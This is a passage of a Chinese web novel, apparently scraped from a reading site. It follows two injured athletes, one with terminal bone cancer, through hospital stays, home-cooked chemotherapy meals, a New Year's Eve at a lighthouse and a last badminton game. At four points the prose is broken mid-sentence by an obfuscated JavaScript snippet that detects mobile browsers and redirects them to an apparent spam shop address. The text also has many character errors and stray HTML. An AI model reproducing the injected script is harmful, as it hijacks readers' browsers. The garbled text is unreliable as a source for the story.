输到一半时，他开始剧烈呕吐，把早上吃的粥全吐了出来。 护士赶来处理，加了止吐药。 苏晚禾在旁边帮忙，动作尽量轻柔。 清理完毕，谢临洲虚弱地靠在床头，脸色白得像纸。 “对不起。”他声音微弱。 “说什么呢。”苏晚禾给他擦嘴，“这有什么好道歉的。” 下午，谢临洲昏昏沉沉地睡着。 苏晚禾坐在床边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930148|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，看着他因为疼痛而紧皱的眉头，心里像压了块石头。 她突然站起来，走出病房。 在医院的小卖部，她买了一个最便宜的风筝，塑料的，印着卡通图案，五块钱。 回到病房时，谢临洲醒了，正看着天花板发呆。 “我们出去透透气。”苏晚禾说。 “去哪儿？” “天台。” 天台风很大，视野开阔。 能看见远处的海，和更远处的灯塔。 空气里有阳光和风的味道，比病房里清爽得多。 苏晚禾展开风筝，系好线。 “你要放风筝？”谢临洲有些惊讶。 “嗯。”苏晚禾说，“我小时候听奶奶说，风筝飞得越高，病就好得越快。” “迷信。” “管他呢。”苏晚禾把线轴递给他，“试试？” 谢临洲接过线轴。 苏晚禾拿着风筝跑到天台另一边，风吹起她的头发。 “跑！”她喊。 谢临洲松开线，苏晚禾迎着风跑起来。 风筝摇摇晃晃地升起，越飞越高。 她跑回他身边，两人一起看着那个小小的彩色风筝在蓝天里飘荡。 “要许愿吗？”苏晚禾问。 “许什么？” “希望病快点好。” 谢临洲沉默地看着风筝。 风吹过，他的病号服被吹得贴在身上，显得更加单薄。 “希望吧。”他轻声说。 风筝在天上飞了十几分钟，线快放完了。 苏晚禾接过线轴，开始收线。 就在这时，一阵强风吹过，线突然断了。 风筝在空中翻滚了几下，然后被风带着，越飘越远，最后变成一个小点，消失在远处的天际。 “啊......”苏晚禾失望地看着空空的线轴。 谢临洲却笑了。 那是苏晚禾第一次看见他笑得这么轻松。 “飞走了。”他说。 “对不起，我......” “挺好的。”谢临洲打断她，“像自由了。” 他们又在天台上站了一会儿。 风很大，吹得人几乎站不稳，但谢临洲的脸色似乎好了一些。 “该回去了。”他说，“护士该找我了。” “嗯。” 回到病房，果然护士正在找他。 “去哪儿了？该吃药了。” “天台透透气。”谢临洲说。 护士看了他一眼，又看看苏晚禾，没说什么，把药递过来。 那天晚上，苏晚禾离开医院时，谢临洲对她说：“明天别来了。” “为什么？” “太辛苦了。”谢临洲说，“而且......不好看。” “什么不好看？” “我现在的样子。” 苏晚禾愣住。 她看着谢临洲苍白的脸，突然明白他在说什么。 “我不在乎。”她说。 “但我在乎。” 两人对视着。 最后苏晚禾妥协了：“那我隔一天来一次。” “好。” 离开医院，苏晚禾没有直接回疗养院。 她走到海边，坐在堤坝上，看着远处的灯塔。 风筝断线飞走的那一幕在她脑子里反复播放。 谢临洲说，像自由了。 她突然很想哭，但忍住了。 海浪拍打着堤岸，哗啦，哗啦。 一下，又一下。 像在说什么，又像什么都没说。 她坐了很久，直到夜色完全降临。 起身时，她对着大海轻声说：“快点好起来。” 风把这句话吹散了。 但她相信，有人听见了。 17. 秋·靠近 周四早上，苏晚禾照例去海鲜市场找老赵。 自从谢临洲开始新疗程，她每隔一天就去老赵那儿买最新鲜的鱼虾。 医生说要补充优质蛋白，张阿姨就变着花样地做：清蒸鲈鱼，虾仁蒸蛋，鱼片粥，虾滑汤。 老赵的摊位还是老样子，几个大水盆里养着活鱼活虾，冰块上摊着处理好的海鲜。 他正忙着给客人称重，看见苏晚禾，朝她招招手：“小姑娘，今天要什么？” “鲫鱼，两条小的。”苏晚禾说，“再要点虾仁。” “又是给你那朋友？”老赵一边捞鱼一边问。 “嗯。” “他怎么样了？” “还在住院。”苏晚禾说，“胃口不好，吃得少。” 老赵麻利地处理着鱼鳞，“化疗的人都这样，嘴里发苦，吃什么都恶心。”他说，“你得找对法子。” “什么法子？” 老赵把处理好的鱼装进袋子，擦了擦手：“你等等。” 他转身进了摊位后面的小仓库，出来时手里拿着个皱巴巴的笔记本。 “这是我老婆当年用的。”他翻开笔记本，里面密密麻麻记着各种食谱，“她以前也得过病，化疗的时候我天天给她做，摸索出点经验。” 苏晚禾凑过去看。 笔记上的字迹有些潦草，但能看清内容： “化疗第一天：小米粥，加一点红枣泥，甜的能压苦味。” “第二天：山药炖排骨，山药要炖得烂烂的。” “第三天：番茄鱼片汤，番茄的酸能开胃......” “还有这个，”老赵指着另一页，“姜汁撞奶，止吐效果好。银耳莲子羹，润肺。核桃黑芝麻糊，补脑......” 苏晚禾看得眼睛发亮：“赵叔，能借我抄一份吗？” “抄什么抄，你拿去。”老赵把笔记本塞给她，“反正我留着也没用了。” “这怎么行......” “拿着。”老赵语气坚决，“能帮到人就好。” 苏晚禾接过笔记本，沉甸甸的，“谢谢赵叔。” “客气啥。”老赵又给她装了条小黄鱼，“这个清蒸，放点葱姜，最鲜。虾仁我给你挑最新鲜的，做滑蛋虾仁，嫩。” 苏晚禾付了钱，拎着海鲜往回走。 老赵在后面喊：“有不懂的来问我！” “知道啦！” 回到疗养院，苏晚禾直奔厨房。 张阿姨正在准备午餐，看见她手里的笔记本，好奇地问：“这什么？” “食疗秘方。”苏晚禾把笔记本摊开，“赵叔给的，他老婆以前用过的。” 张阿姨戴上老花镜，仔细看了几页：“哟，挺全的。这姜汁撞奶的做法写得详细......” “我们今天试试？” “行。” 两人在厨房忙活起来。 按照笔记上的方法，先做姜汁撞奶：鲜姜榨汁，牛奶加糖煮到微沸，然后冲入姜汁，静置凝固。 等待凝固的时候，苏晚禾处理鲫鱼。 她学着张阿姨的样子，在鱼身上划几刀，塞进姜片葱段，淋上料酒，上锅清蒸。 “火候很重要。”张阿姨在旁边指导，“水开了再放鱼，大火八分钟，关火焖两分钟，这样最嫩。” 蒸鱼的工夫，苏晚禾又做了个虾仁滑蛋。 虾仁用蛋清和淀粉抓匀，先滑油，再和蛋液一起炒，最后撒上葱花。 中午十一点，饭菜准备好了。 鲫鱼蒸得恰到好处，肉质鲜嫩；虾仁滑蛋金黄诱人；姜汁撞奶也凝固得很好，像嫩豆腐一样。 苏晚禾把饭菜装进保温桶，又装了碗米饭，匆匆赶往医院。 谢临洲今天看起来比前天好一些，至少能坐起来了。 看见她带来的饭菜，他有些意外：“这么多？” “不多，每样都吃点。”苏晚禾把饭菜摆出来，“先尝尝姜汁撞奶，赵叔说这个止吐。” 谢临洲接过小碗。 姜汁撞奶颤巍巍的，表面光滑，散发着姜和奶的混合香气。 他舀了一勺送进嘴里，顿了顿，又舀了一勺。 “好吃？”苏晚禾问。 “嗯。”谢临洲说，“不甜，姜味也不冲，正好。” 吃完姜汁撞奶，他开始吃主菜。 鲫鱼吃了小半条，虾仁滑蛋吃了大半，米饭也吃了小半碗。 虽然量还是不多，但比前两天好多了。 “今天胃口不错。”护士来量体温时笑着说。 “菜做得好。”谢临洲说。 苏晚禾在旁边偷偷笑。 下午，谢临洲输液时，苏晚禾坐在床边给他念笔记本上的内容。 “你看，这里写着：‘化疗期间口腔溃疡的话，用淡盐水漱口，吃凉的流食。’” “这里：‘手脚麻木是化疗常见副作用，可以轻轻按摩，促进血液循环。’” “还有这个：‘如果白细胞低，要避免去人多的地方，防止感染。’” 谢临洲闭着眼睛听，偶尔“嗯”一声。 念到一半，苏晚禾突然停下：“赵叔说，这些方法都是他一点点摸索出来的。他老婆病了两年，他就做了两年的饭。” 谢临洲睁开眼。 “两年啊。”苏晚禾轻声说，“每天变着花样做，想着怎么让她多吃一口。” 病房里很安静，能听见隔壁床的呼吸声。 “你也会好起来的。”苏晚禾说，“然后我们一起去谢谢赵叔。” 谢临洲没说话，只是点了点头。 接下来的日子，苏晚禾每天研究那个笔记本，和张阿姨一起尝试各种食谱。 有时候成功，有时候失败——比如有一次她把银耳炖糊了，只好偷偷倒掉重做。 老赵也经常给建议。 周五苏晚禾去买菜时，他特意留了条石斑鱼：“这个好，清蒸，补身子。” “谢谢赵叔。” “你朋友今天怎么样？” “比前几天好点了，能多吃几口。” “那就好。”老赵笑了，“慢慢来，急不得。” 周六，苏晚禾尝试做核桃黑芝麻糊。 按照笔记上的方法：核桃和黑芝麻炒香，磨成粉，加糯米粉和水慢慢熬煮。熬的时候要不停搅拌，防止糊底。 她在厨房站了整整一小时，手腕都酸了，终于熬出一锅香浓的芝麻糊。 装进保温壶时，张阿姨尝了一口，竖起大拇指：“可以出师了。” 到医院时，谢临洲正在做检查。 苏晚禾在病房等了半小时，他才被护士推回来。 “今天怎么样？”她问。 “还行。”谢临洲说，但声音有点虚弱。 苏晚禾看出他在硬撑，没多问，只是把芝麻糊倒出来：“刚做的，趁热喝。” 谢临洲接过碗。 黑芝麻糊熬得很细腻，香气扑鼻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930149|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他慢慢喝着，额头上渗出细密的汗珠。 “好喝吗？” “好喝。” 喝完一碗，他似乎有了点精神：“今天周几了？” “周六。” “住院第几天了？” “第十几天了吧” 谢临洲点点头，看向窗外。 阳光很好，能看见远处的海。 “我想出去走走。”他说。 “能行吗？” “就在楼下花园，坐坐。” 苏晚禾去问护士。 护士看了看谢临洲的情况，同意了，但嘱咐不能超过半小时，要戴口罩，不能吹风。 他们慢慢走到楼下的小花园。 花园不大，有几棵桂花树，几张长椅。 正是桂花开的季节，空气里有淡淡的甜香。 两人在长椅上坐下。 谢临洲戴着口罩，只露出一双眼睛。 他的眼睛在阳光下显得很清澈，灰色里透着一点蓝。 “下周就能出院了。”他说。 “真的？” “嗯。这个疗程结束，休息一周，再评估。” “那太好了。”苏晚禾笑了，“出院后你想做什么？” 谢临洲想了想：“去灯塔看星星。” “好，我陪你。” “还想吃夜市的小吃。”谢临洲说，“完成那个愿望清单。” “一个一个来。” 他们在花园里坐了二十分钟。 有风吹过，桂花簌簌地落下来，像下了一场金色的雨。 “回去吧。”谢临洲说，“有点冷了。” 回到病房，谢临洲躺下休息。 苏晚禾收拾好东西，准备离开。 “明天别来了。”谢临洲说，“休息一天。” “我没事......” “听我的。”谢临洲看着她，“你也需要休息。” 苏晚禾犹豫了一下，点点头：“好。那后天见。” “后天见。” 离开医院时，苏晚禾绕道去了海鲜市场。 老赵正要收摊，看见她，有些意外：“这么晚还来？” “来谢谢您。”苏晚禾说，“笔记本很有用，他今天胃口好多了。” “那就好。”老赵笑了，“对了，你等等。” 他又转身进了仓库，出来时手里拿着个玻璃罐子，里面装着褐色的粉末。 “这是什么？” “我自己磨的八珍粉。”老赵说，“党参、白术、茯苓、甘草......都是补气健脾的。出院后每天冲一勺喝，慢慢调理。” “这太贵重了......” “拿着。”老赵把罐子塞给她，“就当是我给那孩子的。告诉他，好好吃饭，好好养着，以后日子还长着呢。” 苏晚禾抱着罐子，眼睛有点热：“谢谢赵叔。” “行了，快回去吧，天快黑了。” 苏晚禾回到疗养院时，天已经黑了。 她把罐子放在房间的桌子上，看着它，突然想起谢临洲说“以后日子还长着呢”。 是啊，日子还长。 她拿出日历，在下一周的某一天上画了个圈——谢临洲出院的日子。 然后在旁边写：去灯塔，看星星。 窗外的海面上，灯塔的光规律地旋转着。 一下，又一下。 像在数着日子，一天，又一天。 20. 秋·靠近 十二月初的复查日，谢临洲的情况不太好。 苏晚禾陪他去医院，能感觉到他的脚步比上次更虚浮。 候诊时，他几乎全程闭着眼睛，只有叫到他名字时才勉强睁开。 诊室里，主治医生看着最新的CT影像，眉头越皱越紧。 “这里，还有这里。”医生指着屏幕上几个白色的亮点，“新出现的转移灶。肺部的这个，比上次大了三分之一。” 谢临洲安静地听着，脸上没什么表情，像是在听别人的病情。 “化疗效果不理想。”医生翻看着病历，“我们需要调整方案。可以考虑靶向药，但要做基因检测，看有没有合适的靶点。” “好。”谢临洲只说了一个字。 “另外，”医生顿了顿，“疼痛管理要加强。你现在用的止痛药效果怎么样？” “还行。” “如果疼得厉害，及时说，我们可以调整剂量。”医生在病历上快速写着，“生活质量也很重要。” 从诊室出来，苏晚禾跟在谢临洲身后，看着他瘦削的背影。 走廊的灯光很亮，照得他几乎透明。 “谢临洲。”她叫住他。 他停下脚步，回头看她。 “你......”苏晚禾张了张嘴，却不知道该说什么。 问“你疼吗”？问“你害怕吗”？这些问题都太苍白。 “我没事。”谢临洲反而安慰她，“习惯了。” 又是这句话。 苏晚禾鼻子一酸，别过头去。 拿完药，他们走出医院。 天空是铅灰色的，像是要下雨。 冷风一吹，谢临洲剧烈地咳嗽起来，苏晚禾赶紧扶住他。 “回家吧。”她说。 “我想去个地方。” “哪儿？” “图书馆。” 云港镇图书馆很小，一栋两层的旧楼，藏在一条安静的巷子里。 谢临洲熟门熟路地走进去，直接上了二楼的医学阅览区。 苏晚禾跟在他身后，看着他走到一排书架前，抽出几本厚厚的医学书。 骨肿瘤学、肿瘤内科学、姑息治疗指南......都是专业得让人望而生畏的书。 “你看这些干什么？”苏晚禾忍不住问。 “了解一下。”谢临洲抱着书找了个角落的座位坐下，“自己的病，总要知道怎么回事。” 苏晚禾在他对面坐下，看着他翻开一本《骨肉瘤诊疗进展》。 书页上密密麻麻的专业术语，他看得很认真，偶尔用笔在纸上记着什么。 阳光从窗户斜射进来，照在他身上。 他的睫毛在脸颊上投出细密的阴影，嘴唇紧抿着，神情专注得像在解什么难题。 苏晚禾突然想起自己刚受伤时，也曾经疯狂地查资料：肩袖损伤、康复训练、手术成功率......那时候她以为，只要了解得够多，就能找到解决问题的办法。 但有些问题，不是了解就能解决的。 “谢临洲。”她轻声说。 “嗯？”他没抬头。 “别查了。” 谢临洲翻页的手停住了。 “别查了。”苏晚禾又说了一遍，声音有些抖，“我们......去看看海吧。” 谢临洲沉默了很久。 然后他合上书，把几本书摞好，放回书架。 “好。”他说。 他们走到海边。 冬天的海风很冷，吹得人脸颊生疼。 沙滩上几乎没人，只有几只海鸥在岸边徘徊。 两人在防波堤上坐下。 谢临洲从口袋里掏出病历本，就是苏晚禾第一次在医院捡到的那本，深蓝色的封皮已经有些磨损了。 他翻开病历本。 里面除了医生的记录，还有他自己写的东西：用药时间、副作用记录、疼痛评分、体重变化......工整的字迹，像实验室记录。 苏晚禾凑过去看。 最新的一页上，谢临洲用红笔写了几行字： “12月3日，复查。新转移灶，肺部。 疼痛评分：6/10（持续）。 体重：47.3kg（比上月-1.2kg）。 食欲：差。 睡眠：差。 心情：......不知道。” 最后一行的“不知道”三个字，写得特别轻，像是不确定该写什么。 “为什么记这些？”苏晚禾问。 “为了......不忘记。”谢临洲说，“有时候疼得厉害了，脑子会糊涂，记不住事。写下来，就能知道自己经历过什么。” 苏晚禾看着那些冰冷的数字和文字，心里像被什么东西重重地撞了一下。 “疼的时候......很辛苦吧。”她轻声说。 谢临洲没回答。 他看着远处的海面，海浪一层层涌上来，又退下去。 “苏晚禾。”他突然叫她的名字。 “嗯？” “你知道骨肉瘤五年生存率是多少吗？” 苏晚禾喉咙发紧：“不知道。” “三期的话......不到百分之三十。”谢临洲说得很平静，“而且我这一年，情况一直在变差。” “别说了......” “我得说。”谢临洲转过头看着她，“因为我想让你知道。” 他的眼神很清澈，没有恐惧，没有悲伤，只有一种近乎残忍的平静。 “我刚确诊的时候，查了很多资料。知道这个病有多凶险，知道治疗有多痛苦，也知道......希望有多渺茫。”他慢慢地说，“但我还是想试试。因为那时候觉得，万一呢？” 海风吹起他的头发，露出苍白的额头。 “但现在我知道了。”他说，“没有万一。” 苏晚禾的眼泪掉了下来。 她用力擦掉，但新的眼泪又涌出来。 “对不起。”谢临洲说，“我不该跟你说这些。” “不。”苏晚禾摇头，“你该说。你该告诉我的。” 她深吸一口气，看着他的眼睛：“你疼的时候告诉我，难受的时候告诉我，害怕的时候也告诉我。不要自己一个人扛着。” 谢临洲看着她，灰色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930152|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛里有什么东西在闪动。 “好。”他轻声说。 他们在海边坐到太阳西斜。 谢临洲的体力支撑不住了，苏晚禾扶他起来，慢慢往回走。 路上经过一个文具店，苏晚禾突然说：“你等我一下。” 她跑进去，几分钟后出来，手里拿着个小本子和一支笔。 “给你。”她把本子递给谢临洲。 谢临洲翻开。 本子很普通，浅蓝色的封皮，里面是空白的格子纸。 “这是？” “新的病历本。”苏晚禾说，“但这次不记那些了。我们记点别的。” “记什么？” “记......每天发生的好事。”苏晚禾说，“比如今天天气很好，比如海鸥的叫声很好听，比如......比如我陪你看海。” 谢临洲看着手里的本子，很久没说话。 “试试看？”苏晚禾说。 “好。” 回到家，谢临洲在书桌前坐下，翻开新本子的第一页。 苏晚禾站在他身后看着。 他拿起笔，想了想，写下： “12月3日。天气：阴。 和苏晚禾去了图书馆，看了海。 她哭了，但说以后可以陪着我。 海鸥的叫声确实很好听。 疼痛评分：6/10。 但心情：......好像没那么差了。” 写完，他放下笔，转头看苏晚禾：“这样行吗？” 苏晚禾用力点头：“行。” 她把那个深蓝色的旧病历本拿过来，合上，放进书桌最下面的抽屉里。 “这个收起来吧。”她说，“我们用新的。” “好。” 那天晚上，苏晚禾很晚才离开。 走之前，她给谢临洲煮了粥，看着他吃完，又看着他吃了药。 “明天我再来。”她说。 “嗯。” 走到门口，苏晚禾回头看了一眼。 谢临洲坐在书桌前，台灯的光晕把他笼在里面。 他正在新本子上写什么，写得很认真。 她轻轻关上门。 回疗养院的路上，她一直在想谢临洲说的那些话。 百分之三十的生存率，新转移灶，持续恶化的病情...... 心里像压了块石头，沉甸甸的。 但她想起谢临洲写在新本子上的话：“心情：好像没那么差了。” 也许，这就是她能做的。 不是治愈，不是拯救。 只是陪着。 陪着他疼，陪着他难受，陪着他......走完剩下的路。 路灯把她的影子拉得很长。 冬天的夜晚很安静，能听见很远处的潮声。 一下，又一下。 像心跳，微弱但坚持。 她抬起头，看着夜空。 今晚没有星星，云层很厚。 但她知道，星星一直在那里。 就像希望一样。 也许很小，也许很远。 但一直在。 22. 冬·深埋 十二月三十一日，旧年的最后一天。 云港镇的街道比平时热闹些。 商店门口挂起了彩灯，海鲜市场提早收摊，家家户户飘出饭菜的香气。 疗养院里，老人们聚在大厅看电视，等着看跨年晚会。 苏晚禾却不在那里。 下午五点，她站在谢临洲家门口，手里拎着两个保温盒。 敲门后等了一会，门开了。 谢临洲穿着厚毛衣，脸色比前几天好了些，但眼下的青黑还是很明显。 看见她，他微微一愣：“今天不是疗养院有活动吗？” “逃出来了。”苏晚禾挤进门，“给你送年饭。” 她把保温盒放在桌上，一个个打开。 张阿姨帮助准备的：红烧鱼、白切鸡、蒸排骨、炒青菜，还有一盒饺子。 “这么多？”谢临洲看着满桌的菜。 “过年吗。”苏晚禾摆好碗筷，“虽然只有我们两个人，也要好好吃。” 两人在桌边坐下，电视剧开着，正在播各地的跨年活动。 主持人热情洋溢的声音和房间里安静的气氛形成对比。 “你爸妈呢？”苏晚禾问，“不打个电话？” “打过了。”谢临洲是，“他们在外地工作，回不来。” “哦。”苏晚禾夹了块鱼给她，“那正好，我陪你过年。” 谢临洲看着她，眼神柔和：“谢谢。” 他们安静地吃饭。谢临洲胃口不好，每样只吃了几口，但苏晚禾没勉强他。她自己倒是吃得不少。 吃完饭，苏晚禾收拾碗筷。谢临洲想帮忙，被她按回椅子上：“病人就好好休息。” 洗好碗，她看了眼时间：七点半。 “去灯塔吗？”她问。 “今天？” “嗯。在灯塔跨年，多有意义。” 谢临洲想了想，点点头：“好。” “走吧。” 冬天的夜晚来得早。七点四十五，天色已经完全黑了。 街道上没什么人，大多数大都聚在家里看电视，路灯把他们的影子拉得很长。 走到灯塔市，谢临洲已经有点喘。苏晚禾扶着他爬上螺旋楼梯，到顶层时，两人都出了一身汗。 塔顶比下面冷。苏晚禾关上破损的窗户，又用带来的旧毯子堵住缝隙。 谢临洲在桌边坐下，慢慢平复呼吸。 “下次我们还是别上来了。”苏晚禾看着他常白的脸，“太累了。” “不累。”谢临洲是，“我想来。” 他从背包里拿出那太便携小音箱，苏晚禾都快忘了这个百宝箱的存在了。 连接手，播放音乐。不是激昂的跨年歌曲，而是一首舒缓的钢琴曲，旋律温柔，像冬天的阳光。 “好听。”苏晚禾说。 “嗯。” 他们在塔顶坐下，裹着毯子，靠着墙壁。 窗外，远处镇上的灯光星星点点，近处是漆黑的海面。灯塔的光规律地选择着，在玻璃窗上投出移动的光影。 “还有多久？”苏晚禾问。 谢临洲看了眼手机：“三个小时。” “那我们干什么？” “聊天。”谢临洲说，“或者......不说话也行。” 他们选择了不说话。 就这么安静地坐着，听着音乐，看着窗外。时间像被拉长了，每一秒都过得很慢。苏晚禾侧头看些临洲，他闭着眼睛，睫毛在脸颊上投出细密的阴影。 “些临洲。”她轻声叫。 “嗯？” “你在想什么？” 谢临洲睁开眼睛，看向窗外：“想去年的今天。” “去年你在哪儿？” “在医院。”谢临洲是，“化疗第二天，吐得厉害，根本不知道是跨年夜。护士给我端了碗饺子，说是医院食堂特意做的。我吃了一口就吐了。” 他说得很平静，像是在讲别人的事。 “那前年呢？”苏晚禾问。 “前年......还在省队。”些临洲是，“队里聚餐，教练说可以喝一点啤酒。我和队友偷偷喝了两瓶，被发现了，罚跑操场二十圈。” 他嘴角微微上扬，像是在笑。 “跑完了吗？” “跑完了。边跑边吐，把啤酒都吐出来了。”谢临洲说，“后来教练说，算了。大过年的，不罚了。我们又回去接着吃。” 苏晚禾想象那个画面：一群年轻的运动员，在操场上奔跑，呼出的白气在冬夜里凝结。跑完了，互相搀扶着回去，继续笑，举行闹。 “那时候真好啊。”谢临洲轻声说。 苏晚禾没说话。她握住他的手。他的手很凉，她用力握着，想把自己的温度传过去。 “你呢？”谢临洲问，“去年在哪？” “去年在训练基地。”苏晚禾说，“集训，准备全国赛。晚上加练，游到十点才上岸。食堂给我们留了饺子，但都凉了。我们几个队友围在微波炉边热饺子，等的时候还在讨论技术动作。” “累吗？” “累。但很开心。”苏晚禾说，“那时候觉得，游泳就是一切。拿金牌，破纪录，进国家队......这就是全部的目标。” “现在呢？” 苏晚禾想了想：“现在觉得......能游泳就好。能站在水里，能划动手臂，能感觉到水流的助力......就好。” 谢临洲看着她，眼神很温柔。 “你会再游的。”他说。 “你也会再打球的。”苏晚禾说。 两人对视着，都知道这句话可能不会成真。但这一刻，他们愿意相信。 时间慢慢流逝。九点，十点，十一点...... 谢临洲的体力支撑不住了。他开始打瞌睡，头一点一点的。苏晚禾轻轻扶住他，让他靠在自己肩上。 “睡会吧。”她说。 “不睡。”谢临洲强撑着，“要跨年。” “还早呢。” “不睡。” 但他还是睡着了。呼吸变得均匀，身体放松下来。苏晚禾小心地调整姿势，让他靠在更舒服些。 她拿出手机，看了眼时间：十一点四十分。 还有二十分钟。 窗外，远处镇上的灯光开始变化。有些人家打开了彩灯，红黄蓝绿，在夜色中闪烁。更远处，海面上的渔船的灯火，像漂浮的星星。 十一点五十分，些临洲醒了。他睁开眼睛，有些茫然：“几点了？” “快到了。”苏晚禾说。 谢临洲坐直身体，揉了揉眼睛。他看起来还是很疲惫，但眼神清明。 “看外面。”他说。 苏晚禾看像窗外。灯塔的光正好扫过海面，照出一片银色的波光。远处的天际线上，有微弱的橘红色光芒，那是城市的方向，那里有盛大的烟火表演。 “这里看不到烟火。”谢临洲是。 “没关系。”苏晚禾说，“我们有灯塔的光。” 十一点五十五分。苏晚禾从背包里拿出两个橘子，这是张阿姨塞给她的，说新年要出橘子，吉利。 她剥开一个，分给谢临洲一半。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930154|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “甜吗？” “甜。” 十一点五十八分。谢临洲突然咳嗽起来。苏晚禾赶紧给他拍背，等他平复下来，发现他的脸色又白了几分。 “还好吗？” “还好。”谢临洲是，“就是有点冷。” 苏晚禾吧毯子全裹在他身上。 十一点五十九分。 窗外，灯塔的光正好转到他们的方向。光束透过玻璃窗，在塔顶的地板上投出一个明亮的光斑。 苏晚禾看着手机上的时间。 五十九分三十秒。 四十秒。 五十秒。 五十五秒。 谢临洲突然说：“苏晚禾。” “嗯？” “新年快乐。” 他说这话的时候，时间正好跳到零点。 窗外没有烟火，没有欢呼，没有钟声。 只有灯塔的光，规律的旋转着。 一下，有一下。 苏晚禾看着谢临洲。在灯塔的光影里，他的眼睛很亮，像盛满了星星。 “新年快乐。”她说。 然后她做了个自己都没想到的动作，她伸出手，在冰冷的玻璃窗上，写下了七个字： “新年快乐，谢临洲。” 雾气在玻璃上凝结，字迹有些模糊，但很清楚。 谢临洲看着那几个字，很久没说话。 然后他也伸出手，在她写的字旁边，写下了： “新年快乐，苏晚禾。” 两人的字迹挨在一起，在玻璃上慢慢融化，汇成细小的水珠，流下来。 像眼泪，但又不是。 “许个愿吧。”苏晚禾说。 “好。”谢临洲闭上眼睛。 苏晚禾也闭上眼睛。她在心里默默许愿：希望谢临洲能少疼一点，希望他能多笑一点，希望...... 她睁开眼，看着谢临洲也睁开了眼。 “许好了？”她问。 “嗯。” “许了什么？” “说出来就不灵了。” 苏晚禾笑了：“那就不说。” 他们又在塔顶坐了一会。凌晨的风更冷了，苏晚禾能感觉到谢临洲在发抖。 “回去吧。”她说。 “好。” 下楼梯时，谢临洲的脚步很慢。苏晚禾扶着他，一步一步。走到塔底时，她回头看了一眼。 塔顶的玻璃窗上，那些字已经快化完了，只剩下模糊的水痕。 但她会记得。 永远记得。 送谢临洲回到家，已经凌晨一点了。苏晚禾看着他吃完药，躺下，给他掖好被角。 “我走了。”她说。 “路上小心。” “嗯。” 走到门口，她回头看了一眼。谢临洲躺在黑暗里，只有窗外的路灯光透进来，勾勒出他模糊的轮廓。 “谢临洲。”她轻声说。 “嗯？” “明年今天，我们还一起跨年。” 黑暗中，她听见谢临洲很轻很轻地说：“好。” 她关上门，走进新年的第一缕寒风里。 街道空荡，路灯昏黄。 远处的海面上，灯塔的光还在旋转着。 一下，又一下。 像在数着新年的第一分钟，第二分钟，第三分钟...... 而她走在回家的路上，心里满当当的。 有遗憾，有难过，有不确定。 但也有希望。 新的一年的希望。 23. 第 23 章 第二十三章：羽毛球场馆的最后比赛 一月中旬，旧羽毛馆要拆了。 消息是海鲜摊老赵告诉苏晚禾的。那天她去买鱼，老赵一边给她称重一边叹气：“可惜了，那球馆虽然旧，但也算咱们镇的一个念想。” “真要拆？”苏晚禾愣住了。 “真拆。开发商买了那快递，要键什么海景公寓。”老赵摇摇头，“说是月底就动工。” 苏晚禾拎着鱼匆匆赶回疗养院，放下东西就去了谢临洲家。门敲了很久才开，谢临洲穿着睡衣，脸色不太好，显然又没睡好。 “球馆要拆了。”她开门见山地说。 谢临洲愣了一下：“什么时候？” “这个月底。” 沉默在两人之间蔓延。窗外的天色阴沉，像要下雪。 “我想再去打一次球。”谢临洲突然说。 “现在？” “嗯。” 苏晚禾看了看他苍白的脸：“你身体......” “就一次。”谢临洲是，“最后一次。” 他转身进屋换衣服。苏晚禾站在门口等着，心里五味杂陈。她知道这个球馆对谢临洲意外着什么，那是他生病后唯一能去的地方，是他觉得自己是个运动员的地方。 十分钟后，谢临洲出来了。他穿上了那身省队的运动服，深蓝色的上衣，黑色的短裤，胸口的队徽已经有些褪色。肩上背着那个磨旧的球拍包。 “走吧。”他说。 下午两点的球馆，光线从破旧的窗户斜射进来，在地上投出斑驳的光影。馆内比平时更空荡，角落堆着些建筑肥料。 谢临洲站在场地中央，环顾四周。他看得很仔细，像要把每一个细节都记在心里：裂开的木地板，锈蚀的球网柱，墙上模糊不清的标语...... “我们打一场？”他问苏晚禾。 苏晚禾看着他，点点头：“好。” 没有热身，他们直接站到各自的位置。 